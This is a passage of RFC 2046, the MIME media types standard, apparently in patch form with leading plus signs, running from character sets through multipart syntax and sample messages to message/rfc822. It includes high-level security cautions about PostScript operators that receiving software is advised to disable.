partially or totally overlapping character + sets is NOT a good thing. A SINGLE character set that can be used + universally for representing all of the world's languages in Internet + mail would be preferrable. Unfortunately, existing practice in + several communities seems to point to the continued use of multiple + character sets in the near future. A small number of standard + character sets are, therefore, defined for Internet use in this + document. + + The defined charset values are: + + (1) US-ASCII -- as defined in ANSI X3.4-1986 [US-ASCII]. + + (2) ISO-8859-X -- where "X" is to be replaced, as + necessary, for the parts of ISO-8859 [ISO-8859]. Note + that the ISO 646 character sets have deliberately been + omitted in favor of their 8859 replacements, which are + the designated character sets for Internet mail. As of + the publication of this document, the legitimate values + for "X" are the digits 1 through 10. + + + + +Freed & Borenstein Standards Track [Page 9] + +RFC 2046 Media Types November 1996 + + + Characters in the range 128-159 has no assigned meaning in ISO-8859- + X. Characters with values below 128 in ISO-8859-X have the same + assigned meaning as they do in US-ASCII. + + Part 6 of ISO 8859 (Latin/Arabic alphabet) and part 8 (Latin/Hebrew + alphabet) includes both characters for which the normal writing + direction is right to left and characters for which it is left to + right, but do not define a canonical ordering method for representing + bi-directional text. The charset values "ISO-8859-6" and "ISO-8859- + 8", however, specify that the visual method is used [RFC-1556]. + + All of these character sets are used as pure 7bit or 8bit sets + without any shift or escape functions. The meaning of shift and + escape sequences in these character sets is not defined. + + The character sets specified above are the ones that were relatively + uncontroversial during the drafting of MIME. This document does not + endorse the use of any particular character set other than US-ASCII, + and recognizes that the future evolution of world character sets + remains unclear. + + Note that the character set used, if anything other than US- ASCII, + must always be explicitly specified in the Content-Type field. + + No character set name other than those defined above may be used in + Internet mail without the publication of a formal specification and + its registration with IANA, or by private agreement, in which case + the character set name must begin with "X-". + + Implementors are discouraged from defining new character sets unless + absolutely necessary. + + The "charset" parameter has been defined primarily for the purpose of + textual data, and is described in this section for that reason. + However, it is conceivable that non-textual data might also wish to + specify a charset value for some purpose, in which case the same + syntax and values should be used. + + In general, composition software should always use the "lowest common + denominator" character set possible. For example, if a body contains + only US-ASCII characters, it SHOULD be marked as being in the US- + ASCII character set, not ISO-8859-1, which, like all the ISO-8859 + family of character sets, is a superset of US-ASCII. More generally, + if a widely-used character set is a subset of another character set, + and a body contains only characters in the widely-used subset, it + should be labelled as being in that subset. This will increase the + chances that the recipient will be able to view the resulting entity + correctly. + + + +Freed & Borenstein Standards Track [Page 10] + +RFC 2046 Media Types November 1996 + + +4.1.3. Plain Subtype + + The simplest and most important subtype of "text" is "plain". This + indicates plain text that does not contain any formatting commands or + directives. Plain text is intended to be displayed "as-is", that is, + no interpretation of embedded formatting commands, font attribute + specifications, processing instructions, interpretation directives, + or content markup should be necessary for proper display. The + default media type of "text/plain; charset=us-ascii" for Internet + mail describes existing Internet practice. That is, it is the type + of body defined by RFC 822. + + No other "text" subtype is defined by this document. + +4.1.4. Unrecognized Subtypes + + Unrecognized subtypes of "text" should be treated as subtype "plain" + as long as the MIME implementation knows how to handle the charset. + Unrecognized subtypes which also specify an unrecognized charset + should be treated as "application/octet- stream". + +4.2. Image Media Type + + A media type of "image" indicates that the body contains an image. + The subtype names the specific image format. These names are not + case sensitive. An initial subtype is "jpeg" for the JPEG format + using JFIF encoding [JPEG]. + + The list of "image" subtypes given here is neither exclusive nor + exhaustive, and is expected to grow as more types are registered with + IANA, as described in RFC 2048. + + Unrecognized subtypes of "image" should at a miniumum be treated as + "application/octet-stream". Implementations may optionally elect to + pass subtypes of "image" that they do not specifically recognize to a + secure and robust general-purpose image viewing application, if such + an application is available. + + NOTE: Using of a generic-purpose image viewing application this way + inherits the security problems of the most dangerous type supported + by the application. + +4.3. Audio Media Type + + A media type of "audio" indicates that the body contains audio data. + Although there is not yet a consensus on an "ideal" audio format for + use with computers, there is a pressing need for a format capable of + providing interoperable behavior. + + + +Freed & Borenstein Standards Track [Page 11] + +RFC 2046 Media Types November 1996 + + + The initial subtype of "basic" is specified to meet this requirement + by providing an absolutely minimal lowest common denominator audio + format. It is expected that richer formats for higher quality and/or + lower bandwidth audio will be defined by a later document. + + The content of the "audio/basic" subtype is single channel audio + encoded using 8bit ISDN mu-law [PCM] at a sample rate of 8000 Hz. + + Unrecognized subtypes of "audio" should at a miniumum be treated as + "application/octet-stream". Implementations may optionally elect to + pass subtypes of "audio" that they do not specifically recognize to a + robust general-purpose audio playing application, if such an + application is available. + +4.4. Video Media Type + + A media type of "video" indicates that the body contains a time- + varying-picture image, possibly with color and coordinated sound. + The term 'video' is used in its most generic sense, rather than with + reference to any particular technology or format, and is not meant to + preclude subtypes such as animated drawings encoded compactly. The + subtype "mpeg" refers to video coded according to the MPEG standard + [MPEG]. + + Note that although in general this document strongly discourages the + mixing of multiple media in a single body, it is recognized that many + so-called video formats include a representation for synchronized + audio, and this is explicitly permitted for subtypes of "video". + + Unrecognized subtypes of "video" should at a minumum be treated as + "application/octet-stream". Implementations may optionally elect to + pass subtypes of "video" that they do not specifically recognize to a + robust general-purpose video display application, if such an + application is available. + +4.5. Application Media Type + + The "application" media type is to be used for discrete data which do + not fit in any of the other categories, and particularly for data to + be processed by some type of application program. This is + information which must be processed by an application before it is + viewable or usable by a user. Expected uses for the "application" + media type include file transfer, spreadsheets, data for mail-based + scheduling systems, and languages for "active" (computational) + material. (The latter, in particular, can pose security problems + which must be understood by implementors, and are considered in + detail in the discussion of the "application/PostScript" media type.) + + + + +Freed & Borenstein Standards Track [Page 12] + +RFC 2046 Media Types November 1996 + + + For example, a meeting scheduler might define a standard + representation for information about proposed meeting dates. An + intelligent user agent would use this information to conduct a dialog + with the user, and might then send additional material based on that + dialog. More generally, there have been several "active" messaging + languages developed in which programs in a suitably specialized + language are transported to a remote location and automatically run + in the recipient's environment. + + Such applications may be defined as subtypes of the "application" + media type. This document defines two subtypes: + + octet-stream, and PostScript. + + The subtype of "application" will often be either the name or include + part of the name of the application for which the data are intended. + This does not mean, however, that any application program name may be + used freely as a subtype of "application". + +4.5.1. Octet-Stream Subtype + + The "octet-stream" subtype is used to indicate that a body contains + arbitrary binary data. The set of currently defined parameters is: + + (1) TYPE -- the general type or category of binary data. + This is intended as information for the human recipient + rather than for any automatic processing. + + (2) PADDING -- the number of bits of padding that were + appended to the bit-stream comprising the actual + contents to produce the enclosed 8bit byte-oriented + data. This is useful for enclosing a bit-stream in a + body when the total number of bits is not a multiple of + 8. + + Both of these parameters are optional. + + An additional parameter, "CONVERSIONS", was defined in RFC 1341 but + has since been removed. RFC 1341 also defined the use of a "NAME" + parameter which gave a suggested file name to be used if the data + were to be written to a file. This has been deprecated in + anticipation of a separate Content-Disposition header field, to be + defined in a subsequent RFC. + + The recommended action for an implementation that receives an + "application/octet-stream" entity is to simply offer to put the data + in a file, with any Content-Transfer-Encoding undone, or perhaps to + use it as input to a user-specified process. + + + +Freed & Borenstein Standards Track [Page 13] + +RFC 2046 Media Types November 1996 + + + To reduce the danger of transmitting rogue programs, it is strongly + recommended that implementations NOT implement a path-search + mechanism whereby an arbitrary program named in the Content-Type + parameter (e.g., an "interpreter=" parameter) is found and executed + using the message body as input. + +4.5.2. PostScript Subtype + + A media type of "application/postscript" indicates a PostScript + program. Currently two variants of the PostScript language are + allowed; the original level 1 variant is described in [POSTSCRIPT] + and the more recent level 2 variant is described in [POSTSCRIPT2]. + + PostScript is a registered trademark of Adobe Systems, Inc. Use of + the MIME media type "application/postscript" implies recognition of + that trademark and all the rights it entails. + + The PostScript language definition provides facilities for internal + labelling of the specific language features a given program uses. + This labelling, called the PostScript document structuring + conventions, or DSC, is very general and provides substantially more + information than just the language level. The use of document + structuring conventions, while not required, is strongly recommended + as an aid to interoperability. Documents which lack proper + structuring conventions cannot be tested to see whether or not they + will work in a given environment. As such, some systems may assume + the worst and refuse to process unstructured documents. + + The execution of general-purpose PostScript interpreters entails + serious security risks, and implementors are discouraged from simply + sending PostScript bodies to "off- the-shelf" interpreters. While it + is usually safe to send PostScript to a printer, where the potential + for harm is greatly constrained by typical printer environments, + implementors should consider all of the following before they add + interactive display of PostScript bodies to their MIME readers. + + The remainder of this section outlines some, though probably not all, + of the possible problems with the transport of PostScript entities. + + (1) Dangerous operations in the PostScript language + include, but may not be limited to, the PostScript + operators "deletefile", "renamefile", "filenameforall", + and "file". "File" is only dangerous when applied to + something other than standard input or output. + Implementations may also define additional nonstandard + file operators; these may also pose a threat to + security. "Filenameforall", the wildcard file search + operator, may appear at first glance to be harmless. + + + +Freed & Borenstein Standards Track [Page 14] + +RFC 2046 Media Types November 1996 + + + Note, however, that this operator has the potential to + reveal information about what files the recipient has + access to, and this information may itself be + sensitive. Message senders should avoid the use of + potentially dangerous file operators, since these + operators are quite likely to be unavailable in secure + PostScript implementations. Message receiving and + displaying software should either completely disable + all potentially dangerous file operators or take + special care not to delegate any special authority to + their operation. These operators should be viewed as + being done by an outside agency when interpreting + PostScript documents. Such disabling and/or checking + should be done completely outside of the reach of the + PostScript language itself; care should be taken to + insure that no method exists for re-enabling full- + function versions of these operators. + + (2) The PostScript language provides facilities for exiting + the normal interpreter, or server, loop. Changes made + in this "outer" environment are customarily retained + across documents, and may in some cases be retained + semipermanently in nonvolatile memory. The operators + associated with exiting the interpreter loop have the + potential to interfere with subsequent document + processing. As such, their unrestrained use + constitutes a threat of service denial. PostScript + operators that exit the interpreter loop include, but + may not be limited to, the exitserver and startjob + operators. Message sending software should not + generate PostScript that depends on exiting the + interpreter loop to operate, since the ability to exit + will probably be unavailable in secure PostScript + implementations. Message receiving and displaying + software should completely disable the ability to make + retained changes to the PostScript environment by + eliminating or disabling the "startjob" and + "exitserver" operations. If these operations cannot be + eliminated or completely disabled the password + associated with them should at least be set to a hard- + to-guess value. + + (3) PostScript provides operators for setting system-wide + and device-specific parameters. These parameter + settings may be retained across jobs and may + potentially pose a threat to the correct operation of + the interpreter. The PostScript operators that set + system and device parameters include, but may not be + + + +Freed & Borenstein Standards Track [Page 15] + +RFC 2046 Media Types November 1996 + + + limited to, the "setsystemparams" and "setdevparams" + operators. Message sending software should not + generate PostScript that depends on the setting of + system or device parameters to operate correctly. The + ability to set these parameters will probably be + unavailable in secure PostScript implementations. + Message receiving and displaying software should + disable the ability to change system and device + parameters. If these operators cannot be completely + disabled the password associated with them should at + least be set to a hard-to-guess value. + + (4) Some PostScript implementations provide nonstandard + facilities for the direct loading and execution of + machine code. Such facilities are quite obviously open + to substantial abuse. Message sending software should + not make use of such features. Besides being totally + hardware-specific, they are also likely to be + unavailable in secure implementations of PostScript. + Message receiving and displaying software should not + allow such operators to be used if they exist. + + (5) PostScript is an extensible language, and many, if not + most, implementations of it provide a number of their + own extensions. This document does not deal with such + extensions explicitly since they constitute an unknown + factor. Message sending software should not make use + of nonstandard extensions; they are likely to be + missing from some implementations. Message receiving + and displaying software should make sure that any + nonstandard PostScript operators are secure and don't + present any kind of threat. + + (6) It is possible to write PostScript that consumes huge + amounts of various system resources. It is also + possible to write PostScript programs that loop + indefinitely. Both types of programs have the + potential to cause damage if sent to unsuspecting + recipients. Message-sending software should avoid the + construction and dissemination of such programs, which + is antisocial. Message receiving and displaying + software should provide appropriate mechanisms to abort + processing after a reasonable amount of time has + elapsed. In addition, PostScript interpreters should be + limited to the consumption of only a reasonable amount + of any given system resource. + + + + + +Freed & Borenstein Standards Track [Page 16] + +RFC 2046 Media Types November 1996 + + + (7) It is possible to include raw binary information inside + PostScript in various forms. This is not recommended + for use in Internet mail, both because it is not + supported by all PostScript interpreters and because it + significantly complicates the use of a MIME Content- + Transfer-Encoding. (Without such binary, PostScript + may typically be viewed as line-oriented data. The + treatment of CRLF sequences becomes extremely + problematic if binary and line-oriented data are mixed + in a single Postscript data stream.) + + (8) Finally, bugs may exist in some PostScript interpreters + which could possibly be exploited to gain unauthorized + access to a recipient's system. Apart from noting this + possibility, there is no specific action to take to + prevent this, apart from the timely correction of such + bugs if any are found. + +4.5.3. Other Application Subtypes + + It is expected that many other subtypes of "application" will be + defined in the future. MIME implementations must at a minimum treat + any unrecognized subtypes as being equivalent to "application/octet- + stream". + +5. Composite Media Type Values + + The remaining two of the seven initial Content-Type values refer to + composite entities. Composite entities are handled using MIME + mechanisms -- a MIME processor typically handles the body directly. + +5.1. Multipart Media Type + + In the case of multipart entities, in which one or more different + sets of data are combined in a single body, a "multipart" media type + field must appear in the entity's header. The body must then contain + one or more body parts, each preceded by a boundary delimiter line, + and the last one followed by a closing boundary delimiter line. + After its boundary delimiter line, each body part then consists of a + header area, a blank line, and a body area. Thus a body part is + similar to an RFC 822 message in syntax, but different in meaning. + + A body part is an entity and hence is NOT to be interpreted as + actually being an RFC 822 message. To begin with, NO header fields + are actually required in body parts. A body part that starts with a + blank line, therefore, is allowed and is a body part for which all + default values are to be assumed. In such a case, the absence of a + Content-Type header usually indicates that the corresponding body has + + + +Freed & Borenstein Standards Track [Page 17] + +RFC 2046 Media Types November 1996 + + + a content-type of "text/plain; charset=US-ASCII". + + The only header fields that have defined meaning for body parts are + those the names of which begin with "Content-". All other header + fields may be ignored in body parts. Although they should generally + be retained if at all possible, they may be discarded by gateways if + necessary. Such other fields are permitted to appear in body parts + but must not be depended on. "X-" fields may be created for + experimental or private purposes, with the recognition that the + information they contain may be lost at some gateways. + + NOTE: The distinction between an RFC 822 message and a body part is + subtle, but important. A gateway between Internet and X.400 mail, + for example, must be able to tell the difference between a body part + that contains an image and a body part that contains an encapsulated + message, the body of which is a JPEG image. In order to represent + the latter, the body part must have "Content-Type: message/rfc822", + and its body (after the blank line) must be the encapsulated message, + with its own "Content-Type: image/jpeg" header field. The use of + similar syntax facilitates the conversion of messages to body parts, + and vice versa, but the distinction between the two must be + understood by implementors. (For the special case in which parts + actually are messages, a "digest" subtype is also defined.) + + As stated previously, each body part is preceded by a boundary + delimiter line that contains the boundary delimiter. The boundary + delimiter MUST NOT appear inside any of the encapsulated parts, on a + line by itself or as the prefix of any line. This implies that it is + crucial that the composing agent be able to choose and specify a + unique boundary parameter value that does not contain the boundary + parameter value of an enclosing multipart as a prefix. + + All present and future subtypes of the "multipart" type must use an + identical syntax. Subtypes may differ in their semantics, and may + impose additional restrictions on syntax, but must conform to the + required syntax for the "multipart" type. This requirement ensures + that all conformant user agents will at least be able to recognize + and separate the parts of any multipart entity, even those of an + unrecognized subtype. + + As stated in the definition of the Content-Transfer-Encoding field + [RFC 2045], no encoding other than "7bit", "8bit", or "binary" is + permitted for entities of type "multipart". The "multipart" boundary + delimiters and header fields are always represented as 7bit US-ASCII + in any case (though the header fields may encode non-US-ASCII header + text as per RFC 2047) and data within the body parts can be encoded + on a part-by-part basis, with Content-Transfer-Encoding fields for + each appropriate body part. + + + +Freed & Borenstein Standards Track [Page 18] + +RFC 2046 Media Types November 1996 + + +5.1.1. Common Syntax + + This section defines a common syntax for subtypes of "multipart". + All subtypes of "multipart" must use this syntax. A simple example + of a multipart message also appears in this section. An example of a + more complex multipart message is given in RFC 2049. + + The Content-Type field for multipart entities requires one parameter, + "boundary". The boundary delimiter line is then defined as a line + consisting entirely of two hyphen characters ("-", decimal value 45) + followed by the boundary parameter value from the Content-Type header + field, optional linear whitespace, and a terminating CRLF. + + NOTE: The hyphens are for rough compatibility with the earlier RFC + 934 method of message encapsulation, and for ease of searching for + the boundaries in some implementations. However, it should be noted + that multipart messages are NOT completely compatible with RFC 934 + encapsulations; in particular, they do not obey RFC 934 quoting + conventions for embedded lines that begin with hyphens. This + mechanism was chosen over the RFC 934 mechanism because the latter + causes lines to grow with each level of quoting. The combination of + this growth with the fact that SMTP implementations sometimes wrap + long lines made the RFC 934 mechanism unsuitable for use in the event + that deeply-nested multipart structuring is ever desired. + + WARNING TO IMPLEMENTORS: The grammar for parameters on the Content- + type field is such that it is often necessary to enclose the boundary + parameter values in quotes on the Content-type line. This is not + always necessary, but never hurts. Implementors should be sure to + study the grammar carefully in order to avoid producing invalid + Content-type fields. Thus, a typical "multipart" Content-Type header + field might look like this: + + Content-Type: multipart/mixed; boundary=gc0p4Jq0M2Yt08j34c0p + + But the following is not valid: + + Content-Type: multipart/mixed; boundary=gc0pJq0M:08jU534c0p + + (because of the colon) and must instead be represented as + + Content-Type: multipart/mixed; boundary="gc0pJq0M:08jU534c0p" + + This Content-Type value indicates that the content consists of one or + more parts, each with a structure that is syntactically identical to + an RFC 822 message, except that the header area is allowed to be + completely empty, and that the parts are each preceded by the line + + + + +Freed & Borenstein Standards Track [Page 19] + +RFC 2046 Media Types November 1996 + + + --gc0pJq0M:08jU534c0p + + The boundary delimiter MUST occur at the beginning of a line, i.e., + following a CRLF, and the initial CRLF is considered to be attached + to the boundary delimiter line rather than part of the preceding + part. The boundary may be followed by zero or more characters of + linear whitespace. It is then terminated by either another CRLF and + the header fields for the next part, or by two CRLFs, in which case + there are no header fields for the next part. If no Content-Type + field is present it is assumed to be "message/rfc822" in a + "multipart/digest" and "text/plain" otherwise. + + NOTE: The CRLF preceding the boundary delimiter line is conceptually + attached to the boundary so that it is possible to have a part that + does not end with a CRLF (line break). Body parts that must be + considered to end with line breaks, therefore, must have two CRLFs + preceding the boundary delimiter line, the first of which is part of + the preceding body part, and the second of which is part of the + encapsulation boundary. + + Boundary delimiters must not appear within the encapsulated material, + and must be no longer than 70 characters, not counting the two + leading hyphens. + + The boundary delimiter line following the last body part is a + distinguished delimiter that indicates that no further body parts + will follow. Such a delimiter line is identical to the previous + delimiter lines, with the addition of two more hyphens after the + boundary parameter value. + + --gc0pJq0M:08jU534c0p-- + + NOTE TO IMPLEMENTORS: Boundary string comparisons must compare the + boundary value with the beginning of each candidate line. An exact + match of the entire candidate line is not required; it is sufficient + that the boundary appear in its entirety following the CRLF. + + There appears to be room for additional information prior to the + first boundary delimiter line and following the final boundary + delimiter line. These areas should generally be left blank, and + implementations must ignore anything that appears before the first + boundary delimiter line or after the last one. + + NOTE: These "preamble" and "epilogue" areas are generally not used + because of the lack of proper typing of these parts and the lack of + clear semantics for handling these areas at gateways, particularly + X.400 gateways. However, rather than leaving the preamble area + blank, many MIME implementations have found this to be a convenient + + + +Freed & Borenstein Standards Track [Page 20] + +RFC 2046 Media Types November 1996 + + + place to insert an explanatory note for recipients who read the + message with pre-MIME software, since such notes will be ignored by + MIME-compliant software. + + NOTE: Because boundary delimiters must not appear in the body parts + being encapsulated, a user agent must exercise care to choose a + unique boundary parameter value. The boundary parameter value in the + example above could have been the result of an algorithm designed to + produce boundary delimiters with a very low probability of already + existing in the data to be encapsulated without having to prescan the + data. Alternate algorithms might result in more "readable" boundary + delimiters for a recipient with an old user agent, but would require + more attention to the possibility that the boundary delimiter might + appear at the beginning of some line in the encapsulated part. The + simplest boundary delimiter line possible is something like "---", + with a closing boundary delimiter line of "-----". + + As a very simple example, the following multipart message has two + parts, both of them plain text, one of them explicitly typed and one + of them implicitly typed: + + From: Nathaniel Borenstein + To: Ned Freed + Date: Sun, 21 Mar 1993 23:56:48 -0800 (PST) + Subject: Sample message + MIME-Version: 1.0 + Content-type: multipart/mixed; boundary="simple boundary" + + This is the preamble. It is to be ignored, though it + is a handy place for composition agents to include an + explanatory note to non-MIME conformant readers. + + --simple boundary + + This is implicitly typed plain US-ASCII text. + It does NOT end with a linebreak. + --simple boundary + Content-type: text/plain; charset=us-ascii + + This is explicitly typed plain US-ASCII text. + It DOES end with a linebreak. + + --simple boundary-- + + This is the epilogue. It is also to be ignored. + + + + + + +Freed & Borenstein Standards Track [Page 21] + +RFC 2046 Media Types November 1996 + + + The use of a media type of "multipart" in a body part within another + "multipart" entity is explicitly allowed. In such cases, for obvious + reasons, care must be taken to ensure that each nested "multipart" + entity uses a different boundary delimiter. See RFC 2049 for an + example of nested "multipart" entities. + + The use of the "multipart" media type with only a single body part + may be useful in certain contexts, and is explicitly permitted. + + NOTE: Experience has shown that a "multipart" media type with a + single body part is useful for sending non-text media types. It has + the advantage of providing the preamble as a place to include + decoding instructions. In addition, a number of SMTP gateways move + or remove the MIME headers, and a clever MIME decoder can take a good + guess at multipart boundaries even in the absence of the Content-Type + header and thereby successfully decode the message. + + The only mandatory global parameter for the "multipart" media type is + the boundary parameter, which consists of 1 to 70 characters from a + set of characters known to be very robust through mail gateways, and + NOT ending with white space. (If a boundary delimiter line appears to + end with white space, the white space must be presumed to have been + added by a gateway, and must be deleted.) It is formally specified + by the following BNF: + + boundary := 0*69 bcharsnospace + + bchars := bcharsnospace / " " + + bcharsnospace := DIGIT / ALPHA / "'" / "(" / ")" / + "+" / "_" / "," / "-" / "." / + "/" / ":" / "=" / "?" + + Overall, the body of a "multipart" entity may be specified as + follows: + + dash-boundary := "--" boundary + ; boundary taken from the value of + ; boundary parameter of the + ; Content-Type field. + + multipart-body := [preamble CRLF] + dash-boundary transport-padding CRLF + body-part *encapsulation + close-delimiter transport-padding + [CRLF epilogue] + + + + + +Freed & Borenstein Standards Track [Page 22] + +RFC 2046 Media Types November 1996 + + + transport-padding := *LWSP-char + ; Composers MUST NOT generate + ; non-zero length transport + ; padding, but receivers MUST + ; be able to handle padding + ; added by message transports. + + encapsulation := delimiter transport-padding + CRLF body-part + + delimiter := CRLF dash-boundary + + close-delimiter := delimiter "--" + + preamble := discard-text + + epilogue := discard-text + + discard-text := *(*text CRLF) *text + ; May be ignored or discarded. + + body-part := MIME-part-headers [CRLF *OCTET] + ; Lines in a body-part must not start + ; with the specified dash-boundary and + ; the delimiter must not appear anywhere + ; in the body part. Note that the + ; semantics of a body-part differ from + ; the semantics of a message, as + ; described in the text. + + OCTET := + + IMPORTANT: The free insertion of linear-white-space and RFC 822 + comments between the elements shown in this BNF is NOT allowed since + this BNF does not specify a structured header field. + + NOTE: In certain transport enclaves, RFC 822 restrictions such as + the one that limits bodies to printable US-ASCII characters may not + be in force. (That is, the transport domains may exist that resemble + standard Internet mail transport as specified in RFC 821 and assumed + by RFC 822, but without certain restrictions.) The relaxation of + these restrictions should be construed as locally extending the + definition of bodies, for example to include octets outside of the + US-ASCII range, as long as these extensions are supported by the + transport and adequately documented in the Content- Transfer-Encoding + header field. However, in no event are headers (either message + headers or body part headers) allowed to contain anything other than + US-ASCII characters. + + + +Freed & Borenstein Standards Track [Page 23] + +RFC 2046 Media Types November 1996 + + + NOTE: Conspicuously missing from the "multipart" type is a notion of + structured, related body parts. It is recommended that those wishing + to provide more structured or integrated multipart messaging + facilities should define subtypes of multipart that are syntactically + identical but define relationships between the various parts. For + example, subtypes of multipart could be defined that include a + distinguished part which in turn is used to specify the relationships + between the other parts, probably referring to them by their + Content-ID field. Old implementations will not recognize the new + subtype if this approach is used, but will treat it as + multipart/mixed and will thus be able to show the user the parts that + are recognized. + +5.1.2. Handling Nested Messages and Multiparts + + The "message/rfc822" subtype defined in a subsequent section of this + document has no terminating condition other than running out of data. + Similarly, an improperly truncated "multipart" entity may not have + any terminating boundary marker, and can turn up operationally due to + mail system malfunctions. + + It is essential that such entities be handled correctly when they are + themselves imbedded inside of another "multipart" structure. MIME + implementations are therefore required to recognize outer level + boundary markers at ANY level of inner nesting. It is not sufficient + to only check for the next expected marker or other terminating + condition. + +5.1.3. Mixed Subtype + + The "mixed" subtype of "multipart" is intended for use when the body + parts are independent and need to be bundled in a particular order. + Any "multipart" subtypes that an implementation does not recognize + must be treated as being of subtype "mixed". + +5.1.4. Alternative Subtype + + The "multipart/alternative" type is syntactically identical to + "multipart/mixed", but the semantics are different. In particular, + each of the body parts is an "alternative" version of the same + information. + + Systems should recognize that the content of the various parts are + interchangeable. Systems should choose the "best" type based on the + local environment and references, in some cases even through user + interaction. As with "multipart/mixed", the order of body parts is + significant. In this case, the alternatives appear in an order of + increasing faithfulness to the original content. In general, the + + + +Freed & Borenstein Standards Track [Page 24] + +RFC 2046 Media Types November 1996 + + + best choice is the LAST part of a type supported by the recipient + system's local environment. + + "Multipart/alternative" may be used, for example, to send a message + in a fancy text format in such a way that it can easily be displayed + anywhere: + + From: Nathaniel Borenstein + To: Ned Freed + Date: Mon, 22 Mar 1993 09:41:09 -0800 (PST) + Subject: Formatted text mail + MIME-Version: 1.0 + Content-Type: multipart/alternative; boundary=boundary42 + + --boundary42 + Content-Type: text/plain; charset=us-ascii + + ... plain text version of message goes here ... + + --boundary42 + Content-Type: text/enriched + + ... RFC 1896 text/enriched version of same message + goes here ... + + --boundary42 + Content-Type: application/x-whatever + + ... fanciest version of same message goes here ... + + --boundary42-- + + In this example, users whose mail systems understood the + "application/x-whatever" format would see only the fancy version, + while other users would see only the enriched or plain text version, + depending on the capabilities of their system. + + In general, user agents that compose "multipart/alternative" entities + must place the body parts in increasing order of preference, that is, + with the preferred format last. For fancy text, the sending user + agent should put the plainest format first and the richest format + last. Receiving user agents should pick and display the last format + they are capable of displaying. In the case where one of the + alternatives is itself of type "multipart" and contains unrecognized + sub-parts, the user agent may choose either to show that alternative, + an earlier alternative, or both. + + + + + +Freed & Borenstein Standards Track [Page 25] + +RFC 2046 Media Types November 1996 + + + NOTE: From an implementor's perspective, it might seem more sensible + to reverse this ordering, and have the plainest alternative last. + However, placing the plainest alternative first is the friendliest + possible option when "multipart/alternative" entities are viewed + using a non-MIME-conformant viewer. While this approach does impose + some burden on conformant MIME viewers, interoperability with older + mail readers was deemed to be more important in this case. + + It may be the case that some user agents, if they can recognize more + than one of the formats, will prefer to offer the user the choice of + which format to view. This makes sense, for example, if a message + includes both a nicely- formatted image version and an easily-edited + text version. What is most critical, however, is that the user not + automatically be shown multiple versions of the same data. Either + the user should be shown the last recognized version or should be + given the choice. + + THE SEMANTICS OF CONTENT-ID IN MULTIPART/ALTERNATIVE: Each part of a + "multipart/alternative" entity represents the same data, but the + mappings between the two are not necessarily without information + loss. For example, information is lost when translating ODA to + PostScript or plain text. It is recommended that each part should + have a different Content-ID value in the case where the information + content of the two parts is not identical. And when the information + content is identical -- for example, where several parts of type + "message/external-body" specify alternate ways to access the + identical data -- the same Content-ID field value should be used, to + optimize any caching mechanisms that might be present on the + recipient's end. However, the Content-ID values used by the parts + should NOT be the same Content-ID value that describes the + "multipart/alternative" as a whole, if there is any such Content-ID + field. That is, one Content-ID value will refer to the + "multipart/alternative" entity, while one or more other Content-ID + values will refer to the parts inside it. + +5.1.5. Digest Subtype + + This document defines a "digest" subtype of the "multipart" Content- + Type. This type is syntactically identical to "multipart/mixed", but + the semantics are different. In particular, in a digest, the default + Content-Type value for a body part is changed from "text/plain" to + "message/rfc822". This is done to allow a more readable digest + format that is largely compatible (except for the quoting convention) + with RFC 934. + + Note: Though it is possible to specify a Content-Type value for a + body part in a digest which is other than "message/rfc822", such as a + "text/plain" part containing a description of the material in the + + + +Freed & Borenstein Standards Track [Page 26] + +RFC 2046 Media Types November 1996 + + + digest, actually doing so is undesireble. The "multipart/digest" + Content-Type is intended to be used to send collections of messages. + If a "text/plain" part is needed, it should be included as a seperate + part of a "multipart/mixed" message. + + A digest in this format might, then, look something like this: + + From: Moderator-Address + To: Recipient-List + Date: Mon, 22 Mar 1994 13:34:51 +0000 + Subject: Internet Digest, volume 42 + MIME-Version: 1.0 + Content-Type: multipart/mixed; + boundary="---- main boundary ----" + + ------ main boundary ---- + + ...Introductory text or table of contents... + + ------ main boundary ---- + Content-Type: multipart/digest; + boundary="---- next message ----" + + ------ next message ---- + + From: someone-else + Date: Fri, 26 Mar 1993 11:13:32 +0200 + Subject: my opinion + + ...body goes here ... + + ------ next message ---- + + From: someone-else-again + Date: Fri, 26 Mar 1993 10:07:13 -0500 + Subject: my different opinion + + ... another body goes here ... + + ------ next message ------ + + ------ main boundary ------ + +5.1.6. Parallel Subtype + + This document defines a "parallel" subtype of the "multipart" + Content-Type. This type is syntactically identical to + "multipart/mixed", but the semantics are different. In particular, + + + +Freed & Borenstein Standards Track [Page 27] + +RFC 2046 Media Types November 1996 + + + in a parallel entity, the order of body parts is not significant. + + A common presentation of this type is to display all of the parts + simultaneously on hardware and software that are capable of doing so. + However, composing agents should be aware that many mail readers will + lack this capability and will show the parts serially in any event. + +5.1.7. Other Multipart Subtypes + + Other "multipart" subtypes are expected in the future. MIME + implementations must in general treat unrecognized subtypes of + "multipart" as being equivalent to "multipart/mixed". + +5.2. Message Media Type + + It is frequently desirable, in sending mail, to encapsulate another + mail message. A special media type, "message", is defined to + facilitate this. In particular, the "rfc822" subtype of "message" is + used to encapsulate RFC 822 messages. + + NOTE: It has been suggested that subtypes of "message" might be + defined for forwarded or rejected messages. However, forwarded and + rejected messages can be handled as multipart messages in which the + first part contains any control or descriptive information, and a + second part, of type "message/rfc822", is the forwarded or rejected + message. Composing rejection and forwarding messages in this manner + will preserve the type information on the original message and allow + it to be correctly presented to the recipient, and hence is strongly + encouraged. + + Subtypes of "message" often impose restrictions on what encodings are + allowed. These restrictions are described in conjunction with each + specific subtype. + + Mail gateways, relays, and other mail handling agents are commonly + known to alter the top-level header of an RFC 822 message. In + particular, they frequently add, remove, or reorder header fields. + These operations are explicitly forbidden for the encapsulated + headers embedded in the bodies of messages of type "message." + +5.2.1. RFC822 Subtype + + A media type of "message/rfc822" indicates that the body contains an + encapsulated message, with the syntax of an RFC 822 message. + However, unlike top-level RFC 822 messages, the restriction that each + "message/rfc822" body must include a "From", "Date", and at least one + destination header is removed and replaced with the requirement that + at least one of "From", "Subject", or "Date" must be present. + + + +Freed & Borenstein Standards Track [Page 28] + +RFC 2046 Media Types November 1996 + + + It should be noted that, despite the use of the numbers "822", a + "message/rfc822" entity isn't restricted to material in strict + conformance to RFC822, nor are the semantics of "message/rfc822" + objects restricted to the semantics defined in RFC822. More + specifically, a "message/rfc822" message could well be a News article + or a MIME message. + + No encoding other than "7bit", "8bit", or "binary" is permitted for + the body of a "message/rfc822" entity. The message header fields are + always US-ASCII in any case, and data within the body can still be + encoded, in which case the Content-Transfer-Encoding header field in + the encapsulated message will reflect this. Non-US-ASCII text in the + headers of an encapsulated message can be specified using the + mechanisms described in RFC 2047. + +5.2.2. Partial Subtype + + The "partial" subtype is defined to 